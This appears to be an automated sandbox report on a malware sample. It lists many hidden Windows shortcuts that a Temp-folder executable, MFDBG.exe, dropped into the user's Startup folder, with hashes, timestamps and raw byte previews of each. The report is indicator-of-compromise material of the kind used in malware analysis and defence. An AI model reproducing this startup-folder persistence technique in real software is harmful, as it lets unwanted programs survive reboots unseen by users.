Preview:	L..................F...."...]W%.{...7a..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a75643c3a25a4802abb44f8fb5fa9d85.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9404401294430444
Encrypted:	false
SSDEEP:	24:8MhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+p0R6rMhpBoUBxdRd1nYyg
MD5:	62D8409E233CBAF069D8797C9CC1B79E
SHA1:	D3E11159C7ED04BF175B5F3949C4C92A457C960B
SHA-256:	02BF24C715852088AFA39AAE0443F2CD33885A91CC3AC3AFC3270D5688392B79
SHA-512:	86CF8ED972596A1A188204FF36C93594B85D14CFC462180403275F334F8F71C134460932BA7CA57388178D54277ACD7581761BCA28CDBC779EB77C1AFDAF7186
Malicious:	false
Preview:	L..................F...."...]W%.{...$p..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a76b11238e5e4ea4a7c4f64244f37158.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941759839733162
Encrypted:	false
SSDEEP:	24:8GMphBfsA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dE10R6rMhpBoUBxdRd1nYyg
MD5:	318305DCFD0483D6AB03675452D2B523
SHA1:	AB2D39F38139DCEDE782047D3D763B33585E1D0A
SHA-256:	C2BA311A409F96082A9759B464E775A7741DAB71ABCC0C5CE960A742CBADD3CE
SHA-512:	E1889188031001ED42D97C96420CF7C5633AB408618D643D6221CF8E4764A3D56C93B7A23FBDF2026BCC7DEDDAD45D468F094D8F0467229EA47CE1BE37DD507A
Malicious:	false
Preview:	L..................F...."...]W%.{...Ni..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a7eb904bea854a7280e4f92877d2e46b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931141365256665
Encrypted:	false
SSDEEP:	24:8S9hBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86l0R6rMhpBoUBxdRd1nYyg
MD5:	BABBC72057756446956A6DC7A1C888FE
SHA1:	D737058699510C85FC7E33C339136183987C6161
SHA-256:	330547A06D986C0396620189E542C04761A3C7E892965F29C974B826C25A819E
SHA-512:	576F9650FEB71702395900DE95F0067BBFD5004959258BE07A2839701A0CADAB015F7109F7D561F3D94F38FF1747042CFFBFCB1CA845D8CC52178D07A4DC44E1
Malicious:	false
Preview:	L..................F...."...]W%.{...h@..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a8355d4b20d34289be110f352898fbf4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931241892681271
Encrypted:	false
SSDEEP:	24:8thBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Nt0R6rMhpBoUBxdRd1nYyg
MD5:	677D8DFAEE7785EC8BC45E6090F402B5
SHA1:	10A7FE36E735DE003A52505374A900D1E76914B7
SHA-256:	C3F584ED7987E9D0AE3FB45B928BECC4C08957C857195F7807FFC8D82B1F0B8D
SHA-512:	AE396E0B3F9461870D1A67D2FD683E884D93038C5B1519DF509A70F4EDE4892253732FD79F96519D9EFFE74A4687991EEC92C3B6E9A9E0614554715929006211
Malicious:	false
Preview:	L..................F...."...]W%.{...{M..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....&..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a847ec8b9c2e4a94b2e0dcfb7fff20fd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93519398793647
Encrypted:	false
SSDEEP:	24:8IhBfeczp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ke0R6rMhpBoUBxdRd1nYyg
MD5:	21C9BD753C5F518653AC0D40788F6E7F
SHA1:	52BF2575D456981D250EE24C7D3690CFAC410F82
SHA-256:	F6C26E875CB7CB02D664B2416717F89C35D177ACE147F646A3745AEF543DE1F1
SHA-512:	87588218B43A330A79F9BB805A3F7401C4180467D8A4F1E91BC06688EBADDEA514DCD4514997AA79E910C98A3C06E8703F9186B1A2991495938BD3B8C1A0A9E4
Malicious:	false
Preview:	L..................F...."...]W%.{...\...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a8d336e23ec14c28892bc3ac641ee9ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936254421164451
Encrypted:	false
SSDEEP:	24:8ad2hBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ht0R6rMhpBoUBxdRd1nYyg
MD5:	A713D376FCD768583CFBA6AF7DE620C0
SHA1:	8D0FCB010ADB5EF80FEA6E6F92159B4596E4F883
SHA-256:	995D0B54620580F21D2A0BC5422EDDACA6DC91511F5B01DD8D8078E48AF6E040
SHA-512:	7A2AB32583ADBFD39FE87EFF610476C822B26780AE7D638B011AB693894B1FCD8E8EBF9E46302F8809B708AE309B212DE727906B31B874DA79DF543EE2B2959D
Malicious:	false
Preview:	L..................F...."...]W%.{......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....&..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a93a72c9e1ff456296b25c49375fccc2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935231285077465
Encrypted:	false
SSDEEP:	24:8uhBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8knC0R6rMhpBoUBxdRd1nYyg
MD5:	A86BD8074336492E3668A5B15E865D1B
SHA1:	07D8B286A246C196322AC3B8430C9253E6A84FA2
SHA-256:	E00A8B03E0E2460CC4A59E59F6B64A5C67F3CF42668A5E2F7DDAFD9104592C30
SHA-512:	88744D69BA6183391C33FC10D86D0BCD779756C13CE95605E30E09B5B784588165C6FABBE569CE50137453B22B840A44DF8FB221200CE84598C3F70950653EE6
Malicious:	false
Preview:	L..................F...."...]W%.{...r...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a9a49bd8dba1474094f92e43723dd28b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9387758556380845
Encrypted:	false
SSDEEP:	24:8LhBff8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vM0R6rMhpBoUBxdRd1nYyg
MD5:	E19F3FD67E1C7B617A51DC66B5A4AB91
SHA1:	CEDC1B8EDD67756B98285086DCFEDFB19411AE18
SHA-256:	CF2196182383C066B7E7CF9593235DB6635E2C0523BBB12B0F48263C0B9BF07E
SHA-512:	DDD56D238285ACF8EC12362D7C027DCF79A2D309DD27651941CB49741E0AB5F0350B930ED28B706C5D8E9C389460165010E21AFF5530EECF335DBA9CA5456F6A
Malicious:	false
Preview:	L..................F...."...]W%.{...<.{.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Lv.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa3b85b3484b4425bbe3f99d7eb1349a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944815285569603
Encrypted:	false
SSDEEP:	24:8vhBfk8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zp0R6rMhpBoUBxdRd1nYyg
MD5:	18D49F5C4D9FDA3ACDF1C72365DAC202
SHA1:	3ECFAACF10BEAA206296C369ED89C0C8E2C19064
SHA-256:	806FAFAA414D91D840C84907CA09100EC969A4D08E1AB5841C980B3C32CFB71C
SHA-512:	8FBE869EAB097CDC36F937B4F0306634853B9BBBDE4FC50F69C5BE1C06FE469AA7DFC9011BED8D6FEBA82FD3783ED5B88485053B020471194CD56F1EDB9624F8
Malicious:	false
Preview:	L..................F...."...]W%.{.... +.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_aa4bd929e5904685b217e4a7eef980c2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941935814129833
Encrypted:	false
SSDEEP:	24:83hBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rm0R6rMhpBoUBxdRd1nYyg
MD5:	B3E1A8F9006961153BEAFEBBC9320DA5
SHA1:	4C7541E0D2102A4E097C000235B6F03658C0DBE5
SHA-256:	304F83AC378B9DEE9A14740669D5A471C8AB924FF77AAFECF61E14B3C6F4350F
SHA-512:	0486E9E9B04094111130FD40636466020E22D7AA015CF490A90B8FCE710E937DDE2D3F4D91BB32B76A9D12DBB607EAE1614820D1E36F1B5178316B0AE98C2809
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab2cdac6611847ea8a143f601e78aaff.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94612514232557
Encrypted:	false
SSDEEP:	24:80hBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82a0R6rMhpBoUBxdRd1nYyg
MD5:	9A1996FAF09135FDFF2E7594369ABB29
SHA1:	6D0250B993987C58BD8B79BE13F947E7995198D9
SHA-256:	8D987A89C71A9C74AD9DC7B0B6B344429C8ACDDEEADB3839FA11AC709D4526D7
SHA-512:	1EEEF185006D9B6C62D2D368395DD531F4BE25CA7F071B3510D3A63B36F14BCF50965E4AB719AEA8F877C1266C5C38D282B4993427ED65A51C73F0A165041813
Malicious:	false
Preview:	L..................F...."...]W%.{...x...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab4761927eb94698be41afc460dc5cbc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936938768143211
Encrypted:	false
SSDEEP:	24:8chBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8us0R6rMhpBoUBxdRd1nYyg
MD5:	67A5E2A2179F860CC0F16A8C8439C35E
SHA1:	52FD818F35C20203C03E353579CDF6B49245E101
SHA-256:	6F2B7EB571408F2780FB99311E9ED70698D3BD366A8CD103DAE807B10ADBFE7D
SHA-512:	D56124C4647899D04152C3125989F6CF94506F479B99E6C26634BC94528F81EBAA261A9CEE0A2EF056361A8CD16A95E73655034717A513F32D3FA6AAA77F6A62
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_abc121e444974972935dceed6f5f292d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936649470517497
Encrypted:	false
SSDEEP:	24:8mhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8s90R6rMhpBoUBxdRd1nYyg
MD5:	8B6DE4FAC290AC2D5CA61F2B7BAD0ACD
SHA1:	FC00FD168AD70832D77093BC39CA104EB0E43AEE
SHA-256:	669BFA91400A9D972B9B2FEEC3FE4AD07186C19F25561746158B16371C27FB99
SHA-512:	0766DEC284862EAFD09195A8F33874BA0DDC5A93846C380D4064FB96B8A939CEE559786E051CF461F88ED4D7D8DF96CEF399F52CF8B018B71CF44A6ABB307BF0
Malicious:	false
